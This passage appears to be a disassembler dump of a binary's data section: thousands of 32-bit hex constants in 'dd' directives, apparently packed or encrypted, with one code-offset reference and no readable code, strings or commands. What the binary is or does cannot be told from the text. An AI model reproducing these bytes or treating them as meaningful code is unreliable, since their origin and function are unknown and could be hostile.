82E2685h, 30209810h dd 61D5630Eh, 18603882h, 0E9AB6561h, 0DE809E4Dh, 0CF1E0193h dd 2B2CCD63h, 227278C2h, 30358F8Ch, 0EE01E78Ch, 8C32E36h dd 8E3A9385h, 0E032C28Bh, 63638451h, 73160F2h, 5914650h dd 54B67701h, 10E73287h, 18104E58h, 8ED4074Dh, 0F00C9848h dd 760D1ED4h, 96068F5h, 2614314Eh, 0C207310Ch, 25603A8Eh dd 0BD401D62h, 0A1C2316Fh, 3CA83263h, 98CAC60h, 38194CB3h dd 4B03E4B0h, 82023C08h, 3D488C1h, 796F0ADCh, 143160Bh dd 245CAB81h, 2C67D60h, 0A9239A76h, 65519089h, 8EAE6C20h dd 2818D87h, 83943BABh, 38E024CAh, 2085C0B6h, 7AA12028h dd 95D19998h, 6A314950h, 0E5184B48h, 4196452Dh, 0ACC25440h dd 3F34AB5Ch, 5651E0B5h, 0C1E5F5C7h, 3B58C56Dh, 18D11810h dd 0C5251C45h, 6B804031h, 9E50D466h, 8C58CD53h, 0E8DE1068h dd 7367CC7h, 210FD8C9h, 1CD2362Eh, 11A83EE6h, 0C42A97CCh dd 0F3FB8FE4h, 2E9CBCE8h, 26FE251Ah, 0A3A8FA14h, 0AC3EC192h dd 0C3B8E562h, 0FA30ACC1h, 0EA68AA7Eh, 0FB4E79F8h, 0A2BA78C0h dd 0D2B59FC4h, 41223EE2h, 95D4324Fh, 4962924h, 46A9CC1Ah dd 16FA814h, 0DD557D45h, 0D975B829h, 0CACA76ECh, 0DEFB4618h dd 0D0540142h, 9A0A8F0Ah, 1695A152h, 9F19EC04h, 0AF5C43C1h dd 41998AF8h, 60639170h, 0F84E52E6h, 0A615643Ah, 1745C669h dd 0E55F7E78h, 72A6FB51h, 78ABA1C7h, 0B3ADAF3Dh, 270F4C2h dd 10238D70h, 0A8683A90h, 0EEA2F05Ch, 11E6DD84h, 4A895D00h dd 212425C8h, 843AAEh, 78CC5244h, 5D78A997h, 88D96021h dd 99887D18h, 743EDCB5h, 619F6D95h, 0BA9D9C7Fh, 97309F5Bh dd 0EB1BE5B0h, 374581FCh, 0D54612ADh, 18389F5Ah, 0D7168E15h dd 7CAB547Ch, 461160CCh, 3D95CA99h, 31D861Dh, 52E66BC1h dd 0CD1D870Fh, 1D279AA5h, 0D79FE55Dh, 0D99C1958h, 0D046D3CFh dd 95D2D457h, 79592E56h, 0A7FCAB47h, 6131EB59h, 847D601Eh dd 47D65183h, 56EA69DDh, 2ECAF658h, 0F3096C82h, 9A8AA420h dd 3E11C309h, 0FE5AAF47h, 0E47D63C1h, 0F71EA598h, 70F4831Dh dd 5630E598h, 76A8A230h, 51CB7028h, 0B7AEAAF7h, 0BE8BA2Ch dd 0C012044Eh, 0E4D9FCFFh, 3980B731h, 8AD0B720h, 9606B9C3h dd 82CCFC5Fh, 12616D8h, 240E3118h, 0BC437C0Bh, 40188130h dd 0D70917D4h, 0A634C423h, 6270149h, 1030A5F0h, 16A4853Ah dd 506415E5h, 466B5E0Bh, 9FFC053Bh, 0AE4831C9h, 910C9FDAh dd 14CA1361h, 0BAC00DE6h, 0C0B26D41h, 0AA5A8FCCh, 4EF00774h dd 214E2E49h, 2FDA7C08h, 2BFF194Ch, 81FCE9DBh, 0AAFE2BD7h dd 0D09D89FEh, 56908890h, 251757AFh, 42364B6Dh, 88B8D431h dd 603CA23Eh, 6E832DDh, 74A1332Ah, 6B140830h, 0B15BF84Fh dd 307ED70Eh, 13E6AED4h, 8DA4CAA3h, 75FE2FF9h, 8513500Bh dd 0A9547AADh, 0A5045757h, 3155495Ah, 0FAD8E020h, 530BA9FFh dd 0BAD33E25h, 5C4BC0E1h, 5859E469h, 36575156h, 5C51F5A4h dd 0C121B711h, 87F95E7Dh, 0C9F95C4h, 5D73FD02h, 734AB141h dd 0A0910021h, 4FE3FB40h, 8417CA27h, 7DEE6A57h, 0D5722719h dd 0D89E0BCCh, 1D8082A3h, 5DE88FB2h, 72C011DDh, 845868C1h dd 0D48216D2h, 0F6C2EA2Bh, 41363104h, 0D01422F4h, 8F6C0A3h dd 81225FA2h, 4E90091Eh, 7FFFD10h, 0BEDA1160h, 5FE2C80Ah dd 0B006219h, 87401BFh, 8A082450h, 0E7121F76h, 984AE810h dd 41288D25h, 84A23696h, 1290FA58h, 4A1C6960h, 286AA578h dd 0A1E995C1h, 162A5684h, 0C1525812h, 1E4AC010h, 492AA825h dd 4A89894h, 129E4252h, 4A688943h, 2962250Bh, 0A4899455h dd 3A9451C4h, 0A2514652h, 89454528h, 251784A1h, 0F6429282h dd 0E1294BF9h, 44A44497h, 0CBF1A5Fh, 86EF897Ch, 1F8FA5C1h dd 27BDEC04h, 20D9FB00h, 1808810Ah, 11FD7F60h, 5094885h dd 2DED394Eh, 456A8214h, 0D7020580h, 1CC55AFEh, 4E41800Dh dd 0C3555040h, 2ACB0996h, 2824C520h, 0B48C6290h, 0C152008h dd 8581B256h, 0DF60E49Ch, 0E9538B4Dh, 0FF0720D0h, 817E3039h dd 6A03F112h, 0A3EDC023h, 0C1FB0783h, 4CA0136Ah, 6D5803FEh dd 0A8293011h, 0B9FA3057h, 367ADB64h, 5F412F21h, 0C0F0F29h dd 8153ADBh, 0A02397EDh, 1318D460h, 5B51DAAFh, 2E740AF9h dd 0EF073992h, 8DF9FB1Dh, 9444E509h, 386183A1h, 4C328B2Dh dd 918555A6h, 68D1B4B1h, 0AC8AA4CCh, 7CD020CFh, 1808328Bh dd 0D0A66242h, 5A3DA129h, 0F2020728h, 0B141660h, 4A22287Bh dd 80484181h, 29D39449h, 2A0A18A4h, 3AA05604h, 5260750Dh dd 0B011C1A5h, 60AB62A9h, 56C655D8h, 6AEE2C3Eh, 5C17062Bh dd 92E4DFFAh, 41985E2Ch, 0C5AC567h, 808B30B0h, 5837605h dd 309104C1h, 94A54EC2h, 42D06452h, 0DA469E60h, 3A76B121h dd 0EE71C2Dh, 75D3DD8Ah, 76433041h, 8702A310h, 2747320Ah dd 187816CCh, 80CE57D6h, 84E8E59h, 0D8F4C6A5h, 8F64C723h dd 923D7B20h, 0A06C51ECh, 292C9347h, 8FCACC74h, 93A262EEh dd 2CD601B2h, 8617EA8h, 120A36F0h, 95012964h, 196F2B61h dd 995086A0h, 67E5418Eh, 0B806106Fh, 6C414161h, 1AC05BE0h dd 21A596FEh, 3E1F6542h, 86E40653h, 0E12D8501h, 94B5010Dh dd 92CCC257h, 4A89095Eh, 11FF25FCh, 41951A1h, 0C439A588h dd 2FE0495h, 9106808Ah, 0A04ADB6Bh, 1E90C915h, 2E25EF61h dd 575D25DFh, 65DD1801h, 80FF3292h, 0A6AD0D7Eh, 1B33FE4h dd 0A060E065h, 0CF084A06h, 648D816h, 9DB0C287h, 0A31B1252h dd 70A1706h, 0F9A3E1F1h, 0B3A383F9h, 81EB003Bh, 2FDBFE30h dd 0CD015B30h, 4600C055h, 5009BE8h, 94ED7981h, 0EE5ECA3Ch dd 529C2AD3h, 0CC220D97h, 0CCA97DEh, 0C0043F35h, 5B4A0284h dd 93A569C9h, 0BBA8B069h, 1DA216CCh, 0BE4D5E31h, 432F5D34h dd 6A56D5C1h, 7ED0011Ah, 8B7C6E8h, 0C06640A8h, 8B1220Ah dd 31167EA1h, 0E1E8ACE4h, 0E912A870h, 196CB493h, 14904530h dd 0D194C459h, 0FF936F37h, 4D11C826h, 0DE671BC7h, 0BA7343Eh dd 20F838E7h, 0B7094E3Bh, 5BC567B6h, 4EF45EA3h, 0D92FCEDAh dd 8EA72BBFh, 78339635h, 0B75FC67Dh, 8741B71Ch, 9D7E2B43h dd 0E77F71B2h, 7B7078EFh, 794CA0A2h, 0E9C9312Ch, 4DCF16E4h dd 63F7E757h, 3B6FFFD2h, 319E80F4h, 268FE378h, 0EA289C07h dd 2DAEBAC9h, 9CE33BCCh, 0F05AB27h, 77BB7EF7h, 7E73F284h dd 5DFB8EEFh, 0A1E8BFBFh, 6F1F5551h, 29977CD7h, 326A33E5h dd 2117E130h, 35C524A2h, 5E27D57Eh, 0AF4FBC7Ch, 0FDCBE8EFh dd 57ACD4F9h, 8B657869h, 0F230AF3Eh, 0BB41E671h, 0E8E8ED36h dd 0D17819F1h, 386D0D3h, 0E4D265D7h, 8A172976h, 939C29B5h dd 0BB8D934Fh, 0A678CEE6h, 0BB3D97B6h, 3D8BDF96h, 0AB5FE294h dd 6F86CF64h, 0C0AAF31Ah, 937B8641h, 0FB8B6971h, 0EC490F47h dd 9FCFAD13h, 0AACA6BB8h, 727D6ECFh, 907BFE3Eh, 0B753FE8Bh dd 0BCBCBB80h, 2A93939h, 92558315h, 2E6F5838h, 180154DCh dd 0FB8C3002h, 0D7D13F73h, 5BF0F615h, 649DDC00h, 0F8DC76B5h dd 2583F7E9h, 0E1F4BDBAh dd 58CFFA9Dh, 17DBE596h, 277A8AB1h, 1E12F47Eh, 27AC10F9h dd 0FDC78F1Bh, 6DB5E2E9h, 0AF82681Ah, 0F86FA6D9h, 9CF7EF66h dd 0BD7959D9h, 4DFF7942h, 77857AB9h, 0CEB05BCEh, 377EFD25h dd 0C876E122h, 0ADF866AFh, 4DF65F4Ch, 0E6E469BCh, 19A9532Bh dd 0B44E9DC9h, 0FE6BCEEEh, 0BD676C50h, 27345E77h, 7B63DD65h dd 76495D6Ch, 78B7CF30h, 0DCC623E3h, 0BD1D9BA9h, 0ACF0C38Bh dd 1A9D2B55h, 0BBAF6FDBh, 0FBA5F225h, 36FB9DEBh, 8AFEF8D8h dd 204F2585h, 9C94E881h, 0AFFA4BE9h, 0BBEE93FAh, 0E4DE8951h dd 946EB343h, 0AB3E592Fh, 0E0DC8776h, 52EFB1DEh, 0E470C91Dh dd 9FA983FFh, 0F56333D2h, 0E63CD466h, 0F24392D0h, 0CE300D64h dd 0BEE089E8h, 0AF3B547Ch, 2B108FF7h, 0C7D1EE62h, 69A088DEh dd 0D84AE3C3h, 0FB66778h, 66FD2D0Ah, 0EA67CCDDh, 74A4B974h dd 5EEA718Eh, 0B5396666h, 0F7DC4E42h, 6B4BD361h, 0A2DA0ABFh dd 568D8233h, 4F52CCBCh, 2B3B9447h, 0B24BCFD1h, 4B667884h dd 7D4F49F2h, 0B59CD34Ah, 609A5DCEh, 7B85C7D6h, 0FA384E07h dd 0F79F7DFDh, 0ABE4D1ECh, 0FA86115Ah, 18A7679Bh, 0B62F0E45h dd 7EBE52ECh, 0BEC4E99Ch, 0BD9F0D94h, 0B91042E3h, 9BB0E774h dd 96B34EEEh, 80D2AE68h, 9AB5F8B4h, 0FE6BE9F9h, 0C14096F0h dd 0C2CAA3C4h, 55F524C0h, 0A817FD36h, 901E7927h, 72D83BA5h dd 7E305838h, 40AABB6h, 0B74A42E3h, 31455BEEh, 6610F95Bh dd 1982DEE0h, 0EA305980h, 8B348517h, 5B1FAFAAh, 0B84410ABh dd 3002h, 8800h, 40000000h, 434A0074h, 1000h, 0 dd 20F32813h, 42289FF4h, 0A78063B4h, 1184505h, 8533D094h dd 11842601h, 0D2D765B9h, 5B8A5B26h, 73297590h, 0B1261228h dd 0F65BA536h, 0DE7EEA7Ch, 0C522C36Eh, 542F414h, 4A65BCE9h dd 0C2B69B15h, 0C8B93BCDh, 5892A81h, 0CB7D8CEDh, 90917377h dd 324C7051h, 6F169057h, 6114AB5Ah, 4F5D2EB6h, 1B650458h dd 141843Ah, 8C190485h, 29A52B00h, 8DC12C2h, 25944B48h dd 930C3A00h, 35D6E6D5h, 0A355394Dh, 1A5B0D9Ch, 0B50ADF78h dd 6934FA04h, 8952ADC8h, 0F8C03EFBh, 0EE112200h, 2 dup(0) dd offset loc_745000 dd 2926434Ah, 1, 0F0990000h, 123E20C3h, 2A6EDF19h, 0D7019FF9h dd 6DDF07EFh, 70F4CFF1h, 0CF730C0Dh, 14E7B47h, 81F4EBD5h dd 390E5F87h, 68E43BCh, 0CE17F97Eh, 39709914h, 3E28F874h dd 2425F250h, 0B2261C6Ch, 42476C58h, 0C2FCCCE6h, 495E65D5h dd 0E1724076h, 7C4CC0F1h, 8D8299B9h, 0DD481EBFh, 8995FBC8h dd 5AC5F188h, 804BBB81h, 0DA29C124h, 0A0D93EDDh, 90FCB50Bh dd 1C3B4AF3h, 781A6F8Ah, 0B68A93BFh, 17CDDB68h, 0D3DF0EA4h dd 0D537CD46h, 0F5FD86C2h, 2E2725F9h, 0D929D4C7h, 0F3C1429h dd 0F7D60E77h, 0C5DE0F5Fh, 48B4D90Fh, 0BB1C4D40h, 0AF1F104Eh dd 64FBF385h, 2EB104D7h, 4B9E8886h, 42EF1829h, 482414A6h dd 4901109Eh, 21735BE6h, 7E078430h, 43D07C88h, 0B0415B2Ah dd 80571EBAh, 4ADBE249h, 0E1B255C6h, 68C3EC87h, 95B3D490h dd 0A7F5C724h, 0D5D7785Dh, 0A2DD4006h, 67032D18h, 0D5A1BD1Dh dd 0C4A1C1C8h, 5EC6D8C2h, 0B8786049h, 0A62AF0F5h, 95EF635Dh dd 293F6189h, 0D6877894h, 0DE00F703h, 9A08E423h, 178849BCh dd 0A7AA0E47h, 8BEC7119h, 9C6C862Eh, 968E2A02h, 5F093B75h dd 0E41F8CA3h, 0CAEB08DFh, 0A02DEFC5h, 0B458AF1Fh, 0C8D42FACh dd 7C77D6Dh, 0DFBEBB6Eh, 785CAFD3h, 1A0845FFh, 0DB70DD72h dd 954EB91Bh, 9565D5FAh, 0B074D1BEh, 0EA93E655h, 0F8688975h dd 2D5E0149h, 2808FEFCh, 0DAD1CA1Bh, 87B79DCDh, 0CAC057C1h dd 0FBE8FBAFh, 1303F0F5h, 0E7963793h, 369DF402h, 0FBAAA20Eh dd 0BF40E00Ah, 62436528h, 6592212Bh, 0C1DFF0C1h, 1795A50Fh dd 0B00E212Ah, 0AC75C5Fh, 43D6E97h, 0A2A1478Eh, 0B43A3DEDh dd 7C1E6ABAh, 44C27536h, 0C4F60469h, 26A7FD3Ch, 0ED4BC092h dd 0BBC519B4h, 14DBF180h, 6B34D3D6h, 82B73E3Dh, 0F0BEA4BFh dd 0C108899Fh, 8A8FE748h, 9C0E8F37h, 19E521Ch, 6A289F71h dd 130553E1h, 2822A5B3h, 0C2A9E07Ch, 4AF255BBh, 0AA16BD54h dd 4FFD9409h, 2AD8EAFh, 101CB2ACh, 83F5634h, 52BD4496h dd 0A9015284h, 0EC0E2D44h, 99F4492Ah, 476E8BFCh, 15B38526h dd 871403DEh, 0B17383E1h, 84B7E7C2h, 445930EAh, 2C0269A6h dd 0B5BBE8DCh, 93F269ECh, 0E4C215A2h, 1D8043Eh, 0D1E257CAh dd 2781C75Ah, 0AA28EFFBh, 0A3C3EB27h, 0E2CBF4C0h, 999F8D61h dd 0A3F61D4h, 0A27D0AB4h, 0CC2B89FDh, 1E5231DAh, 405403ADh dd 806F60FAh, 0D0E9160Bh, 43F096BAh, 5B6BD5B8h, 31A6595Bh dd 46D1550h, 835C61F7h, 0E0C79728h, 2B211E0Ch, 3379FF60h dd 0E93C1ABFh, 0A7473787h, 4AC1D201h, 87804688h, 30136EE1h dd 1810867Fh, 348F822Bh, 0F945D8BAh, 36982AA1h, 91A3A0DDh dd 3813B8A4h, 0C056285Fh, 4B274AF8h, 1CF06702h, 91BC2752h dd 0B22C0627h, 891F4C2Ch, 0D4FBA009h, 30708055h, 0DF251A01h dd 35D13277h, 8DC49847h, 8DA1527h, 11F6184Bh, 3DCD395Bh dd 0A152FF79h, 0DE08E066h, 8853CD7Ah, 8B2C4AC3h, 0D0C794ADh dd 1447702h, 0DA00F23Fh, 7AFBB173h, 6BF8F8A1h, 0ED1235Eh dd 1F7B9858h, 136EA27Ch, 8BF57E27h, 968D462h, 0DBE340AFh dd 0A8462164h, 0CB73D507h, 0DBD079CAh, 0F8018C5h, 0D8F6008Eh dd 7E1FF828h, 5BFC5C38h, 2BDEC5A2h, 885D9A49h, 8B27820Ah dd 8D879495h, 0CA4512B4h, 205DC170h, 72D61A0Dh, 0D134952Eh dd 0D86856A0h, 0BAA4665Ah, 7C332ADFh, 0F6E23F19h, 97DC3DFh dd 9A3D08Ch, 5DB957Ah, 2DB97120h, 2756371Ch, 0D57DEA69h dd 0EF9FB005h, 68B13A1Fh, 0C2ABD6A5h, 553F524Ah, 0E102581Eh dd 1503B17Eh, 0EF7BEE0Bh, 0BE28EA8Eh, 59106C95h, 0ADC6B1BDh dd 0F0301C5Fh, 0A74296B3h, 0E9F3F1Eh, 0A1EA15C9h, 0A9A00545h dd 6F14D675h, 0F8076196h, 214C073Ah, 78F33705h, 51851F02h dd 8256C804h, 0B332160Fh, 0B6BC0864h, 661DD435h, 2B945Ah dd 607827B0h, 0F6AEEC94h, 0BF0D30EDh, 0E2FA0E0Ah, 0F8A70BAh dd 0EDC0359Ch, 0A0D7F757h, 0F4178BF0h, 0F0D9FCCFh, 92BB7314h dd 1169F943h, 90E3E12Dh, 0A872CCC7h, 0F97DF1BAh, 18B0BD65h dd 0ECA04C6Eh, 0C2DD2EC7h, 0CC78592Eh, 29CAB40Dh, 0BBDD6445h dd 0F8DB4842h, 64E87FDh, 28A1ACC6h, 8AD964Bh, 34160653h dd 9289B15Ah, 46296716h, 41EE2071h, 0A5F101DEh, 0F9F68048h dd 8B6BF091h, 7D1FBAEEh, 0C4C11E8Eh, 0C53BA75Ch, 0A3797298h dd 74901BB6h, 67AB808Ah, 0E5B1C0FFh, 79B1295h, 9AC7ED2Fh dd 36050F0Fh, 21A530BEh, 18C27152h, 71CCFBC1h, 1D86CAA5h dd 8B3EEB73h, 9E8DF73Bh, 3653582h, 189359A1h, 1CD4FF5Bh dd 0BBCA9D0h, 59F553DCh, 70EDF780h, 9D975982h, 6126EFDFh dd 94286F4Fh, 0ECE265E6h, 0C0FBB284h, 1A8DA56Fh, 0BCFDE5DAh dd 106BE4B9h, 43F077E1h, 58FEA4D7h, 173E5D2Eh, 1168F4F9h dd 18F04F04h, 2A2F31BEh, 3C0E404Ah, 0EE5C8672h, 0D50E767h dd 0D2941C30h, 0B30A9D8Ch, 4A5B0830h, 4A5B3B72h, 360B5F3Eh dd 0B9B11E8Eh, 655E279Bh, 0B6CADFBCh, 0FC72D1FDh, 0A9570197h dd 0C541FB55h, 0A27170F2h, 0C2112BDFh, 0E4E102F6h, 3531B78h dd 53AEE342h, 6D5D2BDFh, 9DD9B446h, 607C69E2h, 0FE7715FDh dd 9958D448h, 0A15AA4B5h, 7943195Dh, 395AD2C9h, 0AC9CA62Dh dd 717C3DB6h, 4E449811h, 0DF973526h, 6BC52311h, 5841AD19h dd 0CA052D9h, 0B86245B2h, 7054193Ch, 23C0A6ABh, 0A9F25D8Eh dd 3F928383h, 0E0CFF10Eh, 6E50ABF7h, 2536A514h, 0D1CD16FBh dd 0D6788ABEh, 418FE4E7h, 0C8D96109h, 4B462212h, 9A9A5ED0h dd 0A53A5AD9h, 0B71C5614h, 0C09B9358h, 0BD252C4Ch, 0A24A4521h dd 0ABA94362h, 7C0FD1BEh, 0B4E9A39Eh, 78A8AB51h, 0EE692996h dd 65115C6Fh, 607D63E2h, 0F5D2EBCFh, 0AA1F50B9h, 0C3EFCF76h dd 93CBBB2Eh, 6BFCD209h, 0B92B3785h, 0A7886DEDh, 25C68601h dd 0B381AA9Eh, 4F43A11Ah, 1203247Dh, 4091592Dh, 0E8A35C83h dd 95888ED6h, 88572A3Ch, 0DBF20A16h, 0E79891A4h, 0B3F2A649h dd 2EA6E872h, 73E9FC79h, 42A3E9C8h, 0C96A8ACDh, 0F0E223FCh dd 6ABE9A58h, 0B4D4729Ah, 55F072D1h, 7EEDE37Dh, 7DD7888Ah dd 33ADDC40h, 75F47E1Ch, 5F161258h, 76E19D60h, 1E35DF8Eh dd 0B174F88Eh, 0AC245B3Dh, 8ED80704h, 24510E1Fh, 8531C981h dd 2F090393h, 41B19DE2h, 0EFE4A61h, 0DD093DEDh, 29364B68h dd 0F24AB9E9h, 0D52F9396h, 5F7C280Ah, 5C46F559h, 8A970867h dd 88B6B330h, 0A17D88B9h, 8D661F90h, 0D5A84FA6h, 5A972153h dd 72A2FF20h, 8491599Ch, 8853EA86h, 0D8F74556h, 0BD902E2h dd 5F7CCA14h, 0AB903DB4h, 0DC47B44h, 6512451Eh, 0B4E33111h dd 30296D68h, 0C43B7652h, 4A2BF5FDh, 7A05039Eh, 4FA00D30h dd 0FE2E7A9Ah, 57D27D7Ah, 77B42437h, 262E6AC1h, 84D0EBD6h dd 7B6BAB08h, 0A775BF02h, 3F5F953Ch, 0D1B5DA58h, 0F12A453Ch dd 39DC696Bh, 0C51EC82Dh, 86793519h, 1224F85h, 17C963C5h dd 0E4FEA43Dh, 29B14AFDh, 267D0091h, 2ABBC82Bh, 46F7608Bh dd 12B9EF7h, 62EAD8B7h, 5211F7E9h, 5FE62245h, 0B4D5A574h dd 0FCB025C2h, 0C01D7754h, 0F84C7C4Fh, 1FD6FFBCh, 6E23097Fh dd 438385B9h, 0E07ECB38h, 1DE6C684h, 0D473D558h, 0D705745Ch dd 0E3C16762h, 8287CFCAh, 87E2F1C6h, 280BBD8Ch, 878DE76Eh dd 24B644Ah, 0B314B469h, 576B7050h, 21893C00h, 4F7D64F4h dd 0A75AC981h, 46B462E4h, 0A0D4ADh, 5068BC16h, 0B651907Ch dd 0DB8EC2ABh dd 0F97B11BDh, 0CCAC18A2h, 0F66DB87Fh, 11CEA812h, 252D713Eh dd 0B309AB5Dh, 2495C6ECh, 0A6FD2F62h, 0D3F49F88h, 0DDC568ECh dd 181FF891h, 0EF9AF62Bh, 0F5D81F77h, 9B1E397h, 0C60BB477h dd 12A77F9Ch, 1B2B222Eh, 0DB19AC25h, 0CAA386D7h, 9C3C5804h dd 0C6E477A5h, 97B519C9h, 0C3700C07h, 0DB6A1446h, 64194597h dd 0A14BDC40h, 0F558196Dh, 0AA79C027h, 0D78B6C0Fh, 5C9CB9E3h dd 64A3FCB6h, 0A9462C79h, 2AD2BF0Dh, 0C6863130h, 7F219084h dd 82628A42h, 0C299BBC9h, 0A508EA73h, 0D250489Ah, 0FC504613h dd 610EB881h, 3B18B444h, 1A8B1FA7h, 85033D3Eh, 0E44A7391h dd 94DF37Dh, 761FB33h, 70C46799h, 9BC0ACE4h, 71FBBA43h dd 0B66FA3Ah, 5C44F468h, 717C567Ch, 7D6A076Fh, 7E01EAE6h dd 0BED2C4C1h, 792CEB68h, 0E5D0452Eh, 0AADCCEE2h, 0E2E3FC14h dd 7E62F609h, 3557DDBFh, 69F2FCADh, 0BBC279D6h, 0BCD3BDF6h dd 0A0D4472Bh, 5C2D79BFh, 5AEF7167h, 0D8872D1Eh, 0B8CD690h dd 0B459BAD9h, 7C81CA0Bh, 0A1780EA3h, 2160D6ABh, 0FB7DCA97h dd 1F07E637h, 5E9064F8h, 8EDC039Bh, 4B08016Ch, 35F81F56h dd 5FDE0AF1h, 18CBBF8Bh, 8278FE58h, 25C77496h, 0B291AACFh dd 0F5E6520Ah, 68A4A983h, 206E6D5Ch, 1DBE978Fh, 4C0F77B0h dd 46D5C024h, 0B780F160h, 344B936Ah, 133C192Bh, 0FB7BE44h dd 0C054573Eh, 11D33B0Fh, 0A2392A43h, 29377634h, 92E006F6h dd 7C5A81BFh, 5AC8E67Dh, 39C8A78Dh, 355BE265h, 48C319A2h dd 88282535h, 62BF0548h, 21492995h, 96172540h, 0A8581702h dd 719EBBC3h, 0C4B6D89Ch, 0DCD4CF07h, 3C3615E5h, 0AD6EED1Ah dd 9AE8121Eh, 352E72F6h, 9F465211h, 89C30CB2h, 0B0F72349h dd 68BF0187h, 1F28A7A4h, 61BAA04Fh, 8D1B6D2Fh, 5730E36h dd 0D3D0BA70h, 861E126Dh, 727EA11Fh, 17C120A5h, 80C5E908h dd 78F697CEh, 0AF65401Ch, 0DE0F410Ch, 9DCE78BEh, 0AF190A0Dh dd 0BA8016F1h, 6D675758h, 6C6491B8h, 1A621345h, 0C0A7BB79h dd 0D545887Eh, 0EEBC90ECh, 6961971Dh, 0F5D61405h, 374E65C2h dd 0B97A6BBCh, 0F81A5BE7h, 0B0A1A131h, 0B5469E3Ah, 0F81521CDh dd 0FBCA34E5h, 0DD6C5FE4h, 9FAABCE5h, 1498A5A2h, 3245D348h dd 4F1739CDh, 0E39E350Ah, 0EBBEFB95h, 40615F8Dh, 0EF2AC2B0h dd 0B3BB15B1h, 52E3884Bh, 0F1795FC8h, 9D970E43h, 0BB9CFEFAh dd 0D34B1AD7h, 0FFED6A41h, 0EAD4C2D7h, 0F462157Bh, 3BD129B0h dd 15CEE3E0h, 0C9B4FA2Fh, 0E21C9C23h, 7F815D41h, 93CC9647h dd 3C3351F8h, 0A466D40Bh, 6C370BC5h, 0B3B30EF9h, 0F8D84D52h dd 89F570FCh, 313A29ECh, 2195B072h, 5A11A85Ah, 0A9E44596h dd 548621C0h, 218C47EAh, 1583F34Ch, 1DBB86E3h, 0A822B3CAh dd 6DD17280h, 4D6B93AFh, 775638CCh, 532EA4FFh, 2A945239h dd 0A25D757Ah, 2D0BF6h, 4E63FE02h, 0D51CEC41h, 965764D7h dd 0C07018A5h, 6E33D9C3h, 3DB3D7Dh, 0E70B878Eh, 0FD480D70h dd 0EF0B23A2h, 0F77043B7h, 12FA0C09h, 25F325EDh, 0AF70B148h dd 0E6E7D53Ah, 1B9A78D0h, 2A9127FFh, 371CCF89h, 0A6F78407h dd 0E0F184AFh, 436ACD06h, 6A4A6320h, 2817C52Ah, 948B7C1Fh dd 0E8AECF9Ah, 602093AAh, 0C20656C4h, 0E404E330h, 1D5A2723h dd 0AEB80A34h, 719695DFh, 32FB335Bh, 1E7E1FB0h, 62653AADh dd 16E2AD68h, 0B0F650BEh, 0F86BB8E7h, 0FF0BF181h, 0E3167213h dd 437CD357h, 9AFEFC37h, 0AF78B11h, 0F765C237h, 0A492C3C0h dd 0EFCBDE0Dh, 0CC17BA63h, 6899BF50h, 0B4EBE3FEh, 913E986Ah dd 51126DFCh, 572C79B5h, 693A9B7Eh, 3C5005h, 846D284Fh dd 4ED32EF5h, 0B6C34F9Dh, 0C7609121h, 9D56E4CFh, 0B1D10238h dd 0B60AA147h, 18BF68D3h, 7DEF5061h, 5589C03Eh, 9102950Ah dd 87FB4693h, 0B643B27Eh, 1BD682B2h, 0DAC96B09h, 0AB72E07Ch dd 0C7A3FF90h, 8594228Dh, 9F058A1Eh, 0B6AA6E68h, 0E58A1897h dd 0FAD1073Fh, 0AD6C015h, 67141025h, 0BAAC8F24h, 0F4808670h dd 828D935Bh, 78D714Bh, 52325CCAh, 33739D3h, 0BE94A835h dd 99767D83h, 3E367BACh, 0DCC9D1A8h, 30B4D331h, 0BEC56411h dd 8A8D9C55h, 9CA8D524h, 3C12A349h, 8C03412Bh, 67FA51F5h dd 0B12CFBDAh, 0E4BD1D6h, 4DF3CED4h, 5F45A2D1h, 0CE48E9A1h dd 0D3DA1CEh, 0E029E453h, 0F5F1952Ch, 0A32B5458h, 0F5BB587Dh dd 5FBA0358h, 3E5A3B49h, 7A5F27D6h, 24B79407h, 890C435Ch dd 0B3D900A6h, 90B4C0FDh, 0A4B118B9h, 770BDB58h, 0A1F1999h dd 46C4ADA4h, 63888A6h, 492FB2ACh, 69AB2B11h, 7E0F8150h dd 54157EA8h, 7CE0394h, 75BE52C1h, 2368CCF8h, 854F0F02h dd 516CE7C3h, 64D3E7EAh, 8A1ECF46h, 7D4A02FFh, 735C3BBDh dd 5AE3C9E2h, 0A55EF623h, 0BF6BEB54h, 3711D135h, 4EC2774Bh dd 1C3F0CD1h, 0F504552Dh, 0D2810FB5h, 3CE62383h, 6CED54AEh dd 3B001E4Ah, 0A4223C93h, 0B6A30ADEh, 0B2521CAh, 540A7CB3h dd 326C9CFCh, 0E5A38694h, 0F52BB101h, 8509DBE2h, 5E124622h dd 1BF48DBEh, 0CD9168C7h, 0D2B75F85h, 41F4E32Ah, 0CEE6CC4Ah dd 895ACE80h, 9FE706B3h, 84EBA187h, 8764B6D7h, 0DAA1682h dd 81974D08h, 0D134AF91h, 9DA3ACE2h, 0B646F0CAh, 1F59F794h dd 9A1E2B78h, 0D8A75BC4h, 25F85FE7h, 3480C4A4h, 63667BE8h dd 1F7CD3A7h, 0DA52A09Ch, 7B715217h, 24E60EF5h, 44F77FA5h dd 1E97C9BEh, 0B4471E0Ah, 0BAD2E350h, 1E0AF473h, 0F87EA389h dd 277E1E29h, 5B6226D3h, 0E2A80243h, 6A183839h, 711AB28Ah dd 398D4914h, 80BC1DD6h, 0E60AC545h, 22F9DF64h, 691D7B6Ah dd 0D7352C8Ah, 0F8674EE7h, 4BB759C0h, 0F1AE736Dh, 89474DB9h dd 3E7E5256h, 9522822Bh, 0C9AA5969h, 0E0681F80h, 0FD583B0Dh dd 0DE452711h, 0C857F8FCh, 2BEA48Fh, 7867F750h, 0C2812B28h dd 5111E599h, 0A7EBCA1h, 33E584B4h, 0D40738C0h, 0FAE8075Eh dd 0A12D03D3h, 0D28CBDDEh, 66ACAF0Dh, 3CFA94B0h, 55AAE7F0h dd 990E14D2h, 66D32FF7h, 0EB74E735h, 0D482321h, 0EA41CE17h dd 5FF083A3h, 0F9183338h, 0EA817AFEh, 0CF04974Bh, 5BB30115h dd 8BC89DAEh, 0BFB1FD39h, 53DC7D00h, 0ECFD221Ch, 3F2385E4h dd 6544D870h, 0A71B990Eh, 1B78BFAAh, 50CF7FCh, 65329496h dd 0E2BB5F1Dh, 0FC1F5B44h, 0E3755BC4h, 879F6953h, 0B2992999h dd 0B42C8BC8h, 9A16D04Ah, 85F9996Dh, 0B88E8866h, 0E0A0D13Ch dd 0D40F0F20h, 0FD2AD6BEh, 7A17C2B1h, 59E6ABE0h, 0EBE4B39h dd 0ABC7260Ch, 4578CA69h, 7E4493EEh, 